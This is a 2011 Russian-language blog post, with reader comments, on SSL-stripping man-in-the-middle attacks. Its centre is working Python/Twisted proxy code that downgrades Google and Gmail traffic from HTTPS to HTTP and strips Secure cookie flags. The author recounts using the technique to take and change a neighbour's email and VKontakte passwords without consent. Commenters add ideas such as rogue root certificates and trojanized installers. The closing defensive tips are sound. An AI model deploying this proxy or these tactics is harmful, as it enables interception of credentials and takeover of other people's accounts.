Пользователь
0,0
рейтинг
12 января 2011 в 12:54

Разработка → Войны в песочнице — Часть 2. Обход HTTPS

Ранее была получена возможность перехватывать весь трафик исследуемого субъекта. Однако банальный анализ логов tcpdump не даёт значимого результата, так как большинство сервисов использует шифрование с помощью SSL для передачи важных данных, в том числе паролей.

Secure Sockets Layer



Протокол SSL используется уже более десяти лет, и информации о нём в Сети предостаточно.

Так что я лишь выделю основные свойства SSL, а детали их реализации желающие могут изучить самостоятельно:
  • Аутентификация – сервер всегда аутентифицируется, в то время как клиент аутентифицируется в зависимости от алгоритма.
  • Целостность – обмен сообщениями включает в себя проверку целостности.
  • Частность канала – шифрование используется после установления соединения и используется для всех последующих сообщений.


Вариантов для перехвата данных, передаваемых через SSL немного:

Пассивное наблюдение




Не годится, так как передаваемые данные зашифрованы временным ключом. Ключ этот известен и клиенту и серверу, но его невозможно вычислить, лишь наблюдая со стороны за трафиком.
Примером того, как можно реализовать защиту от пассивного наблюдения является алгоритм Диффи-Хеллмана.

Man in the middle




Если мы не можем «влезть» в защищённое соединение, то почему бы не установить два разных соединения: одно между клиентом и атакующим (который в данном случае притворяется сервером), и второе между атакующим и сервером?

От этого алгоритм Диффи-Хелмана не защищён. Но SSL, в отличии от ДХ, требует аутентификацию сервера, и поэтому такой подход также обречён на неудачу. Клиент при установлении соединения ждёт от сервера аутентификации (она при использовании SSL обязательна). Но вместо сервера он будет соединён с атакующим, который не владеет цифровым сертификатом, соответствующим имени сайта.

Есть два способа решения проблемы отсутствия сертификата:
  • Создать необходимый сертификат самостоятельно, и самому подписать его. Такие сертификаты называются «самоподписанными». Однако система цифровых сертификатов требует возможности проверить состоятельность сертификата. Для этого используются «удостоверяющие центры» (Certification authority, CA), которые могут подписывать сертификаты сайтов (и не только), а также подписывать сертификаты других удостоверяющих центров. Сертификаты корневых CA – их немного – внесены в браузер разработчиками. И браузер считает сертификат подлинным только если он находится в конце цепочки сертификатов, начинающейся с одного из CA, где каждый следующий сертификат подписан предыдущим в цепочке.
  • Получить у удостоверяющего центра сертификат для какого-то сайта, и использовать его для атаки. Не годится, так как в каждом сертификате сайта указан домен, для которого он выдан. В случае несовпадения домена в адресной строке с доменом, указанным в сертификате – браузер начнёт бить тревогу.


В обоих случаях браузер покажет жертве какую-нибудь пугающую картинку, например такую:


Пользовательские интерфейсы


Разработчики браузеров используют методику кнута и пряника, чтобы заставить пользователей заботиться о своей безопасности. Ярко-красная картинка, показанная выше, а также необходимость нажимать лишнюю кнопку «Продолжить всё равно» – это кнут, который побуждает пользователей избегать сайтов, где есть нарушения в работе SSL.

Каков же пряник? Единственное «поощрение» за посещение сайтов, правильно использующих SSL – зеленый цвет или картинка «замочка» в адресной строке.

Сайты, правильно использующие SSL, с разным классом сертификатов:


Сайты, не использующие SSL:


Сайты с правильным сертификатом, но имеющие нарушения разной степени тяжести в использовании SSL:


К сожалению, последнее встречается даже на крупных сайтах, лишний раз снижая внимание пользователей к этому значку в адресной строке.

По картинкам видим, что кнут используется чаще и сам по себе заметнее, чем пряник.

Выводы


  • Если пользователь получит от браузера сообщение о невалидном сертификате, то он с достаточно большой вероятностью задумается нужно ли ему на этот (возможно фишинговый) сайт.
  • Если пользователь не получит от браузера подтверждение безопасности, то по сравнению с страшными предупреждениями об ошибках в SSL, которые он часто встречает на своём пути, отсутствие какого-то зеленого замочка он заметит с куда меньшей вероятностью


Как пользователь использует SSL?



Никто не печатает в адресной строке https:// (как впрочем и httр://).

Пользователи сами не делают ничего для своей безопасности, а полагаются на то, что за них это сделает сайт. Сайт перенаправляет пользователей на SSL четырьмя способами:
  • Гиперссылки
  • 3xx Redirect (Location: …)
  • Сабмит форм
  • Javascript


Это значит, что браузеры могут попасть на https только через http.

Может быть достаточно атаковать http?


  • Следить за всем http трафиком
  • Пресекать любую попытку сервера перенаправить пользователя на https, заменять ссылки, заголовок Location в редиректах и т.д.
  • Когда клиент делает http запрос, проксировать этот запрос к серверу через http или https, в зависимости от того, через что он должен был идти изначально


Сервер не видит ничего подозрительного, для него соединение идёт через https (впрочем, если бы сервер требовал клиентской аутентификации, то ничего бы не вышло).

Клиент видит, что соединение идёт через http, но ошибок SSL нет, и, как мы выше выяснили, если браузер не жалуется, то пользователь, скорее всего, не заметит отсутствия шифрования.

К делу



Берём Python, Twisted и стандартный пример http-прокси:

from twisted.web import proxy, http
from twisted.internet import reactor
from twisted.python import log
import sys
log.startLogging(sys.stdout)
 
class ProxyFactory(http.HTTPFactory):
    protocol = proxy.Proxy
 
reactor.listenTCP(8080, ProxyFactory())
reactor.run()


Однако реализация по умолчанию не умеет работать в transparent-режиме, поэтому код пришлось немного усложнить (приводить промежуточные варианты кода не стану, слишком много текста получится).

Заворачиваем на прокси весь трафик жертвы, шедший по 80 порту.

Теперь надо добавить в прокси полезной функциональности. Для простоты будем заменять в потоке данных от сервера к клиенту все вхождения подстроки https на http, без какого-либо анализа кода страницы, и делать это только для доменов *.google.com, gmail.com.

Для того чтобы сервер не волновался по поводу того, что клиент подключается к нему по открытому каналу – все соединения с encrypted.google.com, gmail.com, google.com/accounts/ (и прочие сервисы, где обязателен https) прокси будет осуществлять по SSL.

Вот так теперь выглядит страница входа в почту жертвы:


Видно, что шифрование уже не работает, но браузер не выдает ни ошибок ни предупреждений.

В принципе этого было бы уже достаточно для получения пароля, но авторизоваться и полноценно работать через такой «прокси» не удастся.

Дело в том, что на некоторые Cookies сервер может установить бит Secure, который рекомендует браузеру отправлять их только по защищённому каналу. В данном случае браузер соединён с прокси обычным http, поэтому только что установленные куки с битом Secure на сервер не передаёт, и ему показывают сообщение «Your browser’s cookies functionality is turned off. Please turn it on.». Но эта проблема решается простым удалением из поступающих от сервера Set-Cookie параметра «Secure». Хотя возможность устанавливать куки через Javascript всё равно всё усложнит.

Финальный код прокси-сервера выглядит примерно так:
# -*- coding: utf8 -*-
 
from twisted.web import proxy, http
from twisted.internet import reactor, ssl
from twisted.python import log
import urlparse
import sys
log.startLogging(sys.stdout)
 
stripAddresses = frozenset(['google.com''google.ru''gmail.com'])
forceSSLAddresses = frozenset(['encrypted.google.com/''gmail.com/', \
                            'google.com/accounts''mail.google.com/'
                            'ssl.google-analytics.com/'])
 
class EvilProxyClient(proxy.ProxyClient):
 
    def __init__(self, command, rest, version, headers, data, father):
        # Предотвратим любое кодирование, чтобы было проще анализировать контент
        headers[«accept-encoding»] = «identity»
        proxy.ProxyClient.__init__(self, command, rest, version, headers, data, father)
 
    def handleHeader(self, key, value):
        if key.lower() !'content-length':
            proxy.ProxyClient.handleHeader(self, key, value.replace('https''http').replace('ecure''ecre'))
 
    def handleResponsePart(self, buffer):
        proxy.ProxyClient.handleResponsePart(self, buffer.replace('https''http').replace('ecure''ecre'))
 
class EvilProxyClientFactory(proxy.ProxyClientFactory):
    protocol = EvilProxyClient
 
class TransparentProxyRequest(http.Request):
 
    def __init__(self, channel, queued, reactor=reactor):
        http.Request.__init__(self, channel, queued)
        self.reactor = reactor
 
    def process(self):
        parsed = urlparse.urlparse(self.uri)
        headers = self.getAllHeaders().copy()
        print «Headers:\n%s» % headers
        host = parsed[1] or headers[«host»]
        rest = urlparse.urlunparse(('''') + parsed[2:]) or '/'
        self.content.seek(00)
        s = self.content.read()
        print «Content:\n%s» % s
        needStrip = filter((host + rest).count, stripAddresses)
        clientClass = EvilProxyClientFactory if needStrip else proxy.ProxyClientFactory
        clientFactory = clientClass(self.method, rest, self.clientproto, headers,
                               s, self)
        needSSL = filter((host + rest).count, forceSSLAddresses)
        if needSSL:
            self.reactor.connectSSL(host, 443, clientFactory, ssl.ClientContextFactory())
        else:
            self.reactor.connectTCP(host, 80, clientFactory)
 
class TransparentProxy(proxy.Proxy):
    requestFactory = TransparentProxyRequest
 
class TransparentProxyFactory(http.HTTPFactory):
    protocol = TransparentProxy
 
reactor.listenTCP(8080, TransparentProxyFactory())
reactor.run()
 


И плоды его работы:


Вообще говоря, в теории кажется, что всё возможно, но на практике возникают сложности.

Понятно, что тривиальный поиск всех вхождений строки «https» в потоке данных от сервера и замена их на «http» не даст хорошего результата, нужен более глубокий анализ кода страниц (выделить теги «ссылка» и «форма», и заменить в них соответствующие аттрибуты — это в принципе несложно).

А ведь адреса для редиректа, и cookies c битом Secure могут генерироваться динамически в Javascript. А вот эта задача — «на лету» модифицировать поступающий от сервера js так, чтобы поведение системы (с точностью до выбора протокола http/https) не изменилось — уже даже не уверен что разрешима в общем случае.

Третья задача — при получении запроса от клиента нужно вычислить по какому протоколу был бы этот запрос, если бы мы не вмешивались, и отправить его на сервер именно по этому протоколу, чтобы он не мог заметить никаких отклонений.

Собственно набросанный на скорую руку код, который вы видели выше, — решает каждую из этих задач очень грубым способом, только для одного сайта, и то — не вполне корректно. Через этот прокси на страничку авторизации гуглопочты заходит, но после авторизации, а особенно при попытке зайти в интерфейс почты, начинаются какие-то судорожные редиректы и может вообще не удаться ничего сделать. Впрочем, оправданием может служить то, что код выложен чисто в иллюстративных целях. Помимо того, после успешного ввода логина и пароля можно перенаправить клиента на прямое соединение с сервером и отключить прокси.

Для Mail.ru ситуация благоприятнее: SSL соединение используется только непосредственно в момент передачи учетных данных. То есть модифицировать достаточно только action для формы входа, и при этом у пользователя вообще нет шансов заметить подвох, так как форма входа находится на главной странице сайта, на которую нельзя зайти через https. Модификацию можно заметить только посмотрев исходный код страницы.

На этом с технической частью всё. Основной использованный материал: New Tricks For Defeating SSL In Practice

Выводы


  • В закладках где возможно используйте сразу https-адреса, не надейтесь на редирект
  • При вводе пароля убедитесь, что страница, на которой вы его вводите, защищена SSL
  • Разработчикам сайтов: дайте людям правильно использовать SSL. Не делайте так что бы форма загружалась через http, а сабмитилась через https. Не используйте самоподписанные сертификаты. Не смешивайте на странице защищённый и незащищённый контент.


Завершение истории


А история, начатая в первой части, завершилась прозаично – пароль от почтового ящика N был добыт и изменён, также как и контрольный вопрос. Со вторым ящиком на Mail.ru и с аккаунтом ВКонтакте было сделано то же самое.

Я планировал вернуть все пароли через сутки, но на следующее утро обнаружил отсутствие аккумулятора в ноутбуке. Времени разбираться не было, меня ждал поезд, так что отдал пароли в обмен на свой аккумулятор.
Бурдаков Даниил @burdakovd
карма
88,5
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Спецпроект

Самое читаемое Разработка

Комментарии (56)

  • –3
    Не доводи до предела,
    До предела не доводи!

    Это я про аккумулятор.
  • +10
    Бездумно жмякающим кнопки пользователям статья не поможет, а те кто дочитают до конца и так особо не страдают от излишней доверчивости. Был случай, когда пользователю выводишь большооое такое окно с предупреждением, а потом слышишь типа «Окошко? Красненькое такое с крупными буквами? да я его всегда закрваю, оно только мешается...».
    • +1
      Да, к сожалению заставить пользователя прочитать и обдумать все сообщения — невозможно.

      Как в поговорке: «Любой может подвести ишака к воде, но пить его не заставит даже шайтан»
  • НЛО прилетело и опубликовало эту надпись здесь
    • +1
      Нет, просто пользователь будет иммунен к этой атаке.
      Если пользователь встал на путь просветления https, то дьявол MITM его с этого пути уже не собьёт.
    • +1
      С HTTPS Everywhere бывают зацыкленности и без промежуточных серваков. Например, иногда подглючивает редактирование на секьюрной википедии (если заходить на нее «вручную», то все ок).
  • +1
    А ещё контролируя траффик можно подсунуть невнимательному пользователю свой корневой сертификат.
    И уже им подписывать сертификаты для прокси.
    Кстати о том, что при установке webmoney вы так-же ставите корневой сертификат, котороым они могут подписать сертификат для любого домена.
    Правда мило?
    • 0
      Да, мило.
      Я не ставил его, хоть они и хотели.
      И сейчас они уже вроде образумились, я пользуюсь light.webmoney.ru/, и браузер уже не ругается.
    • 0
      Кстати о том, что при установке webmoney вы так-же ставите корневой сертификат, котороым они могут подписать сертификат для любого домена.
      Правда мило?

      Для этого его и устанавливают, не?
      • +2
        Для любого, не только для своих.
        То есть они могут к примеру выдать сертификат на paypal.com.

        А зачем они его предлагают установить — я не знаю. Наверно вебмастера WM тогда ещё не знали основ работы цифровой сертификации. Или же они надеялись такими действиями получить место среди корневых CA — не вышло.
        • –7
          Я понимаю, что могут для любого. Но к WebMoney лично у меня доверия больше, чем к VeriSign, последним я свои деньги не доверяю.

          Зачем предлагают установить свой тоже понятно — доменов у них много всяких разных, получать на каждый сертификат у Network Solutions накладно, просить юзеров чтоб жали «всё равно продолжить» не солидно… Но сейчас или деньги лишние появились, или клиенты достали. А вообще помню даже интересовался можно ли получить у них ssl сертификат на свои домены или получить SSL Certificate Authority для своего персонального сертификата, но ответили как-то невнятно, а интерес был чисто спортивный, так что забил.
    • 0
      Первый вопрос не заметил сразу.
      Ниже ответил: habrahabr.ru/blogs/infosecurity/111714/#comment_3566323
    • 0
      Не важно, корневой он или промежуточный, который даже устанавливать не надо — им можно подписать любой сайт. Промежуточным сертификатом можно префиксировать конечный, с любым указанным Common Name.
  • +1
    А почем, находясь по середине, и имея возможность пропускать траффик сквозь себя нельзя вместе с подделкой целевого сайта, подделать заодно и центры сертификации? (и, соответственно, на запросы про правильность своего фиктивного сертификата отправлять утвердительные ответы)?
    • 0
      Хорошая мысль, или вообще проксировать также передачу сертификатов.
      • +2
        Люди вы о чем, какую передачу?
        Не будет никакой алгоритм, использующий сертификаты, доверять полученному по http сертификату.

        Ниже ответил: habrahabr.ru/blogs/infosecurity/111714/#comment_3566323
        • 0
          Причем тут http? Подделать https тоже не так уж проблематично. И соответственно проксировать запросы. То есть, фактически, мы получаем копию всего того же, что и конечный пользователь — и сертификаты, и собственно содержимое. Аналогично в другую сторону.
          Но, конечно, это все в теории. Нужно пробовать, чтобы знать наверняка. А сейчас у меня допуск к экзамену, простите, побежал)
          • +1
            Да, мы получаем всё, что конечный пользователь, и всё, что получает сервер.

            Но, мы не получаем общий ключ. Он не передаётся в явном виде при установлении соединения, он вычисляется и клиентом и сервером. Например алгоритм Диффи-Хеллмана (это ещё не SSL, но для для начала). Но при наблюдении со стороны его вычислить невозможно, а без него невозможно расшифровать передаваемые данные.

            Именно это в сочетании с обязательной аутентификацией сервера (которая защищает от MITM) и является сутью SSL.
    • +2
      Список доверенных центров сертификации зашит, утрируя, в браузере, их закрытого ключа вы не знаете, а значит не сможете себя за них выдать.
      • 0
        Можно принудить пользователя добавить с систему ещё один сертификат или центр (хороший пример WebMoney).
    • +2
      потому что открытые ключи центров сертификации прописаны прямо в недрах браузера и для проверки достоверности сертификата сайта сеть не используется
      • 0
        Браузер может проверять сертификат по списку отозванных. Это, впрочем, явно не упрощает задачу :-)
    • 0
      Сертификаты центров сертификации установлены в вашей системе (или браузере), заранее.
  • +3
    Подделать-то можно.

    Но чтобы был толк надо чтобы пользователь скачал сертификат (подсунуть ему можно любой), и установил его в браузере или на компьютере. То есть нужно активное действие пользователя для этого.

    Но устанавливать сертификат может понадобиться 0.1% пользователей. И они достаточно осторожны чтобы проверить его отпечаток по другому каналу.

    Более правдоподобно подменить какой-нибудь скачивамый по http инсталлятор на свой, с подарком. А запущенный бинарник уже что хочешь сделает.
    • 0
      Если мы говорим об обычных пользователях, то вряд ли так часто они будут скачивать инсталяторы, чтобы можно было что-либо подменить.
      • +1
        А как часто они будут скачивать корневые сертификаты? xD

        А если серьёзно — инсталлятор думаю активный пользователь скачивает пусть раз в неделю.
        Заранее подготовить «подарок». Оставить скрипт, который ждет когда пользователь запросит какой-нибудь .exe файл. Когда пользователь запросил файл, скрипт качает его, пакует вместе с «подарком» в один бинарник, и выдаёт пользователю.

        Тут правда надо, чтоб инсталлятор был не слишком большой, т.к. потоково передавать уже не выйдет, нужно сначала целиком скачать.
        • +1
          Блин мне эта идея нравится, может быть станет темой для третьей части.
          Если конечно сосед снова даст мне повод и если будет время.
          • 0
            imho проще при посещении атакуемым какого либо сайта выдавать пугающую табличку:
            «Этот сайт требует проверки подлинности SSL, для этого необходимо установить сертификат»,
            и ссылочка на него. Это как вариант.
            Или так: Сайтов человек будет посещать больше, чем что-то качать, наверняка есть такие которые или пользуются самоподписными сертификатами (разные статистики доступа в интернет) или часто выдающие алерты на тему ssl. Вот при заходе на них и требовать установку.
            Невнимательный/«неразбирающийся в интернетах» человек скорее всего установит его чтобы посетить нужный ему сайтик.
        • 0
          Браузер сам нередко заставляет скачать эти самые сертификаты. Активный пользователь сидит вконтакте, читает почту, пишет на форумах и чатах, но никак не качает каждую неделю инсталяторы. К тому же антивирус обычно замечает подобные подмены.
      • +1
        WindowsUpdate? Они по http вроде работают, обновления списков корневых УЦ помню бывали часто, может туда внедриться и свой подсонуть?
        • 0
          А некоторые браузеры пользуются, кажется, не системным хранилищем, а своим списком УЦ. Можно ещё так попробовать, фейковое обновление такого браузера сделать
          • +1
            Если есть возможность сделать поддельное обновление, тогда нет необходимости мудрить с сертификатами.
        • +2
          Сильно подозреваю, что WU для каждого скачанного файла проверяет ЭЦП.
          Сильно надеюсь, что все программы, которые автоматически (без участия пользователя) по http что-то качают и запускают (в том числе и обновляторы) проверяют ЭЦП для всего запускаемого. Иначе станет страшно жить.
        • +1
          Ну, там вроде везде всё подписано и хрен там что заменишь — https там не нужен. Т.е. если подписан список обновлений и он хранит контрольные суммы для обновлений, то никак туда не влезешь.
    • 0
      т.е. у корневых центров сертификации самоподписанные сертификаты, установленные по умолчанию во всех браузерах, я правильно понимаю?
      • 0
        да
      • 0
        Да, классический вариант сети доверия. Есть несколько [не связанных друг с другом] Центров Сертификации. Есть принципиальное решение считать их доверенными (в ОС/Браузере). Есть сертификаты сайтов, подписанные этими ЦС. И поскольку мы доверяем этим ЦС, то доверяем и этим сайтам, при прохождении проверки подлинности сертификата, есстествено. Т.е. проще говоря — «друг моего друга — мой друг».
  • 0
    Простые истины, на доступном для всех языке. Спасибо, понравилось.
    Думаю в вашем случае было бы так же идеальным решением использовать sslstrip, заточенный под это.
    Жду следующих эпизодов «Войн в Песочнице» ;)
    • +2
      Забавно, как раз публикация автора sslstrip и вдохновила меня на эти действия, но на то, что там была упомянута сама утилита.

      Сейчас посмотрел — действительно там уже реализовано то, что я тут делал. И кстати тоже на питоне и с использованием twisted-web. Что-ж, построил велосипед.

      Более того, погуглив по слову sslstrip, нашёл статью, зная о существовании которой раньше, не стал бы сам писать. По крайней мере вторую часть, хотя первая мне казалась ещё более тривиальной темой.

      Да и вообще по всему интернету про неё писали, даже для кулхацкеров инструкцию составили, а я будто сейчас проснулся =(
      • 0
        s/на то, что там была упомянута сама утилита/саму утилиту я почему-то не заметил/
  • +2
    Замечетельная статья, наталкивающая на много мыслей.
    Жаль только, что вы сразу отмели вариант MITM, потому что автор статьи, на которую вы ссылаетесь, как раз описывает реальную возможность это сделать, используя свой конечный сертификат для подписания сертификата на атакуемый сайт, используя свой конечный в качестве промежуточного. Автор утверждает, что многие браузеры не проверяют, что является ужасной дырой.
    Ну, и ещё в оригинальной статье понравился забавный трюк с установлением в качестве favicon.ico значка «замка».
    • +1
      Ну MITM, связанный с тем, что браузеры не проверяют (не проверяли?) BasicConstraints я не рассматривал по следующим причинам:
      1) Для этого нужно иметь и использовать какой-нибудь завалящий, но валидный сертификат. А цепочки сертификатов — это не только средство проверки подлинности сайта, но и средство в случае чего найти виноватого. То есть, используя свой сертификат для подписи чего попало, мы, во-первых, рискуем, что по этой цепочке что-то восстановят, во-вторых если сертификат отзовут — то придётся предпринимать дополнительные действия.
      2) Некоторые браузеры не проверяют, а некоторые — проверяют. А мы выяснили, что negative feedback намного хуже, чем отсутствие positive feedback. Поэтому метод strip более надёжен, так как он никогда не вызовет negative feedback.

      А насчёт фавиконки — я всё же не перевод делал, хоть и много взял оттуда.
      Мне показалось, что лучше добиваться не «ощущения безопасности», а «ощущения обыденности».
      Не знаю как в Firefox, но в Chrome favicon отображается в заголовке вкладки, в значок SSL в адресной строке. То есть замочек был бы не там, где должен быть и являлся бы дополнительным отличием от привычного вида при использовании настоящего SSL.
  • 0
    А может вы слышали про функциональность инспектирования https траффика в MS Forefront TMG? Интересно было бы почитать, как это?
    • 0
      Погуглил, там нужно всем пользователям раздать сертификат самого TMG. Дальше все аналогично.

      Соответсвенно, если раньше впаривали троянов под видом кодеков и высокохудожественных изображений, теперь нужно впаривать свой корневой сертификат ))
  • 0
    у меня в gmail'e стоит принудительное использование ssl (собственно из-за него в ходе недавних событий в Беларуси я не смог читать почту)
    а для сайтов аля веб-мани и т.п. я сам лично наблюдаю наличие ssl.
    • 0
      Принудительное использование ssl? В настройках GMail?
      Спешу обрадовать, что это хорошо, но не защищает от описанной схемы, так как в ней взаимодействие с сервером идёт именно по SSL.

      Для защиты нужно контролировать или форсировать SSL на стороне клиента. Например изменив закладку в браузере с gmail.com/ на gmail.com/.
      • 0
        переадресация на https идет на уровне сервера gmail'a, а не у меня в браузере. даже когда я ввожу просто http:// gmail меня переадресовывает на https://
        • 0
          Я понимаю. И именно на это рассчитана описанная в статье атака. Пользователь рассчитывает, что сервер его перенаправит на https.

          Но! Сам акт перенаправления происходит по http, который никак не защищён.
          Поэтому man-in-the-middle может эту переадресацию вырезать из потока данных, идущих от сервера к вам, и вы так и останетесь на http.

          Защититься от этого можно было бы не надеясь на перенаправление (которого может и не быть, т.к. MITM) а заходя напрямую по https. Если вы зашли по прямой ссылке https://, то man-in-the-middle (почти) ничего не сможет сделать.
          • 0
            я говорю о том, что неважно откуда пришел запрос на gmail (http или https), если в gmail'e стоит только https то он его переадресует в любом случае, что бы вы не делали.

            похожую технику я использую для сайта авторизации в локальной сети: сайт описан в vhoste который слушает 443 порт (ssl), а vhost для 80 порта (http) просто делает жесткий редирект на https:\\sitename ( Redirect permanent / sitename ). Т.е. что ты не делай, в любом случае тебя отправят на https. (примерно так-же работает и принудительный ssl на gmail'e)
            • 0
              Взгляните на картинку:


              Сервер тут видит, что к нему кто-то подключается через https (он не может знать, что где-то там есть клиент и атакующий, и они соединены по http), поэтому он никаких перенаправлений делать не будет, и спокойно покажет всю секретную инфу.

              Этот почти пруфпик показывает, как клиент прекрасно открыл по http форму авторизации Google (не интерфейс GMail, но ситуация аналогичная). Сервер в этот момент считает, что соединение происходит через https. Без MITM клиент не смог бы открыть такой адрес по http, так как сервер, действительно, перенаправил бы его на https.

              Принудительный SSL со стороны сервера способен бороться только против пассивного прослушивания (что тоже хорошо, но недостаточно).
              Чтобы защититься от MITM за качеством и наличием шифрования обязан следить клиент.

              Если я непонятно объясняю, то почитайте первоисточник.
  • +1
    Перехватывать https путём выкусывания из http всех ссылок на https — это всё равно, что описывать в очередной раз арп спуффинг и взлом wi-fi с wep.
    • 0
      Да, действительно боянисто получилось.
      Статью писал как историю из жизни, которой хотелось поделиться с обществом.
      Подробнее остановился на тех местах, которые для меня показались интересными и нетривиальными, в частности идея sslstrip, не думал, что все её уже знают.

      Как видно по дискуссии выше, действительно не все.
  • 0
    Если цель — получить пароль от гмейла и сделать это незаметно для пользователя, то можно вообще на змаорачиваться с заменой https на http, а просто выдавать фейковую http страницу с формой ввода, а после ввода пароля — логинить пользователя на настоящем сервере и уже никак не препятствовать трафику между жертвой и сервером. В этом случае заподозрит неладное только тот, кто заметит http вместо https на странице входа в гмейл. А когда залогинится, то всё будет как обычно.
  • 0
    Только хотел написать про sslstrip и его автора Moxie Marlinspike — тут уже упомянули. Один моментик — когда занимаетесь такими вещами, надо быть очень аккуратным и уж точно не стоит устраивать цирк с паролями одногруппниц. Тот же Moxie вроде никого и не ломал (по крайней мере публично особо не хвастался), у него недавно на границе отобрали ноутбук и телефоны. Неприятно-с.
    • 0
      Это Moxie-то никого не ломал?
      login.yahoo.com 114
      Gmail 50
      ticketmaster.com 42
      rapidshare.com 14
      Hotmail 13
      paypal.com 9
      linkedin.com 9
      facebook.com 3
      

      отсюда

      Но по сути я с вами согласен, аккуратным нужно быть.
      • 0
        Эээ, да, согласен — я кстати смотрел ту его презентацию, позор на мою голову. Разве что не было информации, что пароли были использованы. Считать ли просто получение доступа к паролю (не к защищенной им информации) взломом — это вопрос. Но думаю «кому следует» этого хватит за глаза.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.